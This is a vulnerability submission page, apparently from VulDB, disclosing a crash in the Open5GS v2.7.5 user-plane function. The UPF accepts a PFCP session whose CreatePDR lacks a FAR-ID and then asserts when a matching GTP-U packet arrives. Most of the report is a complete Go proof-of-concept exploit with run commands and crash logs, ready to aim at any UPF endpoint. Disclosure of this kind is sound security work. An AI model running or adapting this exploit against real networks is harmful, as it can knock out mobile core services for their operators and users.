Súbít #716799: Open5GS v2.7.5 Reachable Assertionbayani

KuraOpen5GS v2.7.5 Reachable Assertion
Gaskiya### Description Open5GS v2.7.5 UPF crashes in _gtpv1_u_recv_cb() when a PFCP Session Establishment Request contains a CreatePDR without FAR-ID. The PFCP control path accepts the session, but once a matching GTP-U packet is received the data path dereferences pdr->far == NULL and aborts the process, leading to DoS. ### Steps to reproduce 1. Start a new go project inside a new folder: `go mod init poc` 2. Create a `main.go` and paste the code below: ``` package main import ( "encoding/binary" "encoding/hex" "errors" "flag" "fmt" "log" "math/rand" "net" "os" "strings" "time" "github.com/wmnsk/go-pfcp/ie" "github.com/wmnsk/go-pfcp/message" ) // This PoC installs a CreatePDR without FAR-ID, then injects a single GTP-U packet that // matches the rule. When the packet reaches the user-plane fast path the UPF aborts in // ogs_pfcp_up_handle_pdr() (lib/pfcp/handler.c:233) because pdr->far is NULL. const ( defaultPFCPPort = 8805 defaultGTPPort = 2152 ) type pfcpClient struct { nodeIP net.IP seid uint64 seq uint32 } func (c *pfcpClient) nextSeq() uint32 { c.seq++ if c.seq == 0 || c.seq > 0x00ffffff { c.seq = 1 } return c.seq } func (c *pfcpClient) mandatoryIEs() []*ie.IE { return []*ie.IE{ ie.NewNodeID(c.nodeIP.String(), "", ""), ie.NewFSEID(c.seid, c.nodeIP, nil), ie.NewPDNType(ie.PDNTypeIPv4), } } func (c *pfcpClient) buildSession(ies ...*ie.IE) *message.SessionEstablishmentRequest { payload := append([]*ie.IE{}, c.mandatoryIEs()...) payload = append(payload, ies...) return message.NewSessionEstablishmentRequest(0, 0, c.seid, c.nextSeq(), 0, payload...) } func (c *pfcpClient) sendAssociation(conn *net.UDPConn) error { req := message.NewAssociationSetupRequest( c.nextSeq(), ie.NewNodeID(c.nodeIP.String(), "", ""), ie.NewRecoveryTimeStamp(time.Now()), ie.NewCPFunctionFeatures(0x3f), ) return sendAndMaybeRead(conn, req) } type pfcpMarshaler interface { Marshal() ([]byte, error) } func sendAndMaybeRead(conn *net.UDPConn, msg pfcpMarshaler) error { payload, err := msg.Marshal() if err != nil { return fmt.Errorf("marshal PFCP message: %w", err) } if _, err := conn.Write(payload); err != nil { return fmt.Errorf("send PFCP message: %w", err) } _ = conn.SetReadDeadline(time.Now().Add(2 * time.Second)) buf := make([]byte, 2048) if _, err := conn.Read(buf); err != nil { if ne, ok := err.(net.Error); ok && ne.Timeout() { return nil } return fmt.Errorf("read PFCP response: %w", err) } return nil } func buildSessionWithoutFar(client *pfcpClient, accessIP net.IP, teid uint32) *message.SessionEstablishmentRequest { // Install a PDR matching uplink traffic, but intentionally omit FAR-ID. pdr := ie.NewCreatePDR( ie.NewPDRID(7), ie.NewPrecedence(200), ie.NewPDI( ie.NewSourceInterface(ie.SrcInterfaceAccess), ie.NewFTEID(0x01, teid, accessIP, nil, 0), ), ) return client.buildSession(pdr) } func resolvePFCP(target string) (string, error) { if strings.Contains(target, ":") { return target, nil } return fmt.Sprintf("%s:%d", target, defaultPFCPPort), nil } func resolveGTP(target string) (string, error) { if strings.Contains(target, ":") { return target, nil } return fmt.Sprintf("%s:%d", target, defaultGTPPort), nil } func sendGTPPacket(target string, teid uint32) error { payload := []byte("ping") packet := make([]byte, 8+len(payload)) packet[0] = 0x30 // version 1, PT=1, no extension / seq packet[1] = 0xff // G-PDU binary.BigEndian.PutUint16(packet[2:], uint16(len(payload))) binary.BigEndian.PutUint32(packet[4:], teid) copy(packet[8:], payload) conn, err := net.Dial("udp", target) if err != nil { return fmt.Errorf("dial GTP-U target: %w", err) } defer conn.Close() if _, err := conn.Write(packet); err != nil { return fmt.Errorf("send GTP-U packet: %w", err) } return nil } func main() { var ( pfcpTarget = flag.String("pfcp-target", "x.x.x.x:8805", "UPF PFCP endpoint (host[:port])") gtpTarget = flag.String("gtp-target", "x.x.x.x:2152", "UPF GTP-U endpoint (host[:port])") nodeIPStr = flag.String("node-ip", "x.x.x.x", "NodeID/IPv4 used in PFCP messages") accessIP = flag.String("access-ip", "x.x.x.x", "IPv4 placed in the PDR's F-TEID") teidFlag = flag.Uint("teid", 0xfaceb00c, "TEID programmed into the CreatePDR") skipAssoc = flag.Bool("skip-assoc", false, "Skip the benign Association Setup") dumpHex = flag.Bool("dump", false, "Dump crafted Session Establishment bytes") ) flag.Parse() nodeIP := net.ParseIP(*nodeIPStr) if nodeIP == nil { log.Fatalf("invalid node-ip: %s", *nodeIPStr) } accessTEIDIP := net.ParseIP(*accessIP) if accessTEIDIP == nil { log.Fatalf("invalid access-ip: %s", *accessIP) } resolvedPFCP, err := resolvePFCP(*pfcpTarget) if err != nil { log.Fatalf("resolve PFCP target: %v", err) } resolvedGTP, err := resolveGTP(*gtpTarget) if err != nil { log.Fatalf("resolve GTP target: %v", err) } pfcpAddr, err := net.ResolveUDPAddr("udp", resolvedPFCP) if err != nil { log.Fatalf("resolve PFCP UDP addr: %v", err) } conn, err := net.DialUDP("udp", nil, pfcpAddr) if err != nil { log.Fatalf("dial PFCP: %v", err) } defer conn.Close() rand.Seed(time.Now().UnixNano()) client := &pfcpClient{ nodeIP: nodeIP, seid: uint64(rand.Uint32())<<32 | uint64(rand.Uint32()), seq: uint32(rand.Intn(0x00ffffff)), } if !*skipAssoc { if err := client.sendAssociation(conn); err != nil { log.Printf("association setup failed (continuing): %v", err) } else { log.Printf("association setup request sent to %s", resolvedPFCP) } } req := buildSessionWithoutFar(client, accessTEIDIP, uint32(*teidFlag)) payload, err := req.Marshal() if err != nil { log.Fatalf("marshal session establishment: %v", err) } if *dumpHex { fmt.Printf("Session Establishment (%d bytes):\n%s\n", len(payload), hex.Dump(payload)) } if _, err := conn.Write(payload); err != nil { log.Fatalf("send session establishment: %v", err) } log.Printf("Installed PDR without FAR-ID (TEID=0x%x). Waiting before sending GTP-U...", *teidFlag) time.Sleep(500 * time.Millisecond) log.Printf("Sending single GTP-U packet to %s", resolvedGTP) if err := sendGTPPacket(resolvedGTP, uint32(*teidFlag)); err != nil { if !errors.Is(err, os.ErrDeadlineExceeded) { log.Fatalf("send gtp packet: %v", err) } } log.Printf("Expected crash: ogs_pfcp_up_handle_pdr() asserts because pdr->far == NULL") } ``` 3. Download required libraries: go mod tidy 4. Run the program with the upf pfcp server address: ``` go run main.go \ -pfcp-target x.x.x.x:8805 \ -gtp-target x.x.x.x:2152 \ -node-ip x.x.x.x \ -access-ip x.x.x.x \ -teid 0xfaceb00c ``` ### Logs ```shell 11/26 08:08:46.517: [pfcp] DEBUG: [4008538] REMOTE Create peer [x.x.x.x]:8805 [x.x.x.x]:53714 (../lib/pfcp/xact.c:156) 11/26 08:08:46.517: [pfcp] DEBUG: [4008538] REMOTE Receive peer [x.x.x.x]:8805 [x.x.x.x]:53714 (../lib/pfcp/xact.c:733) 11/26 08:08:46.517: [pfcp] DEBUG: [4008538] REMOTE UPD RX-50 peer [x.x.x.x]:8805 [x.x.x.x]:53714 (../lib/pfcp/xact.c:289) 11/26 08:08:46.517: [upf] DEBUG: upf_pfcp_state_associated(): UPF_EVT_N4_MESSAGE (../src/upf/pfcp-sm.c:161) 11/26 08:08:46.517: [upf] INFO: [Added] Number of UPF-Sessions is now 2 (../src/upf/context.c:209) 11/26 08:08:46.517: [upf] DEBUG: Session Establishment Request (../src/upf/n4-handler.c:66) 11/26 08:08:46.517: [upf] DEBUG: Session Establishment Response (../src/upf/n4-build.c:36) 11/26 08:08:46.517: [pfcp] DEBUG: [4008538] REMOTE UPD TX-51 peer [x.x.x.x]:8805 [x.x.x.x]:53714 (../lib/pfcp/xact.c:191) 11/26 08:08:46.517: [pfcp] DEBUG: [4008538] REMOTE Commit peer [x.x.x.x]:8805 [x.x.x.x]:53714 (../lib/pfcp/xact.c:460) 11/26 08:08:47.018: [upf] FATAL: _gtpv1_u_recv_cb: Assertion `far' failed. (../src/upf/gtp-path.c:504) 11/26 08:08:47.022: [core] FATAL: backtrace() returned 7 addresses (../lib/core/ogs-abort.c:37) open5gs-upfd(+0x12e99) [0x556fe8c2fe99] /usr/local/lib/libogscore.so.2(+0x2603f) [0x7f0b5a02603f] open5gs-upfd(+0x77cb) [0x556fe8c247cb] /usr/local/lib/libogscore.so.2(+0x119a3) [0x7f0b5a0119a3] /lib/x86_64-linux-gnu/libc.so.6(+0x94ac3) [0x7f0b59a13ac3] /lib/x86_64-linux-gnu/libc.so.6(+0x1268c0) [0x7f0b59aa58c0] /usr/local/bin/entrypoint.sh: line 14: 23 Aborted (core dumped) open5gs-upfd "${@}" ``` ### Expected behaviour UPF should reject Session Establishment that lacks FAR-ID (mandatory IE per TS 29.244), or fail gracefully before any GTP-U packet is processed. ### Observed Behaviour UPF accepts the session but crashes on the first matching GTP-U packet because pdr->far is NULL. ### eNodeB/gNodeB No ### UE Models and versions No
Manga⚠️ https://github.com/open5gs/open5gs/issues/4179
Màdùmga
 ZiyuLin (UID 93568)
Furta12/16/2025 15:57 (2 Wurɗi 전)
Gargajiya12/19/2025 09:31 (3 days later)
HalittaShingilam
VulDB gite337589 [Open5GS har 2.7.5 FAR-ID lib/pfcp/handler.c ogs_pfcp_handle_create_pdr Kari na aiki]
Nganji20

Do you know our Splunk app?

Download it now for free!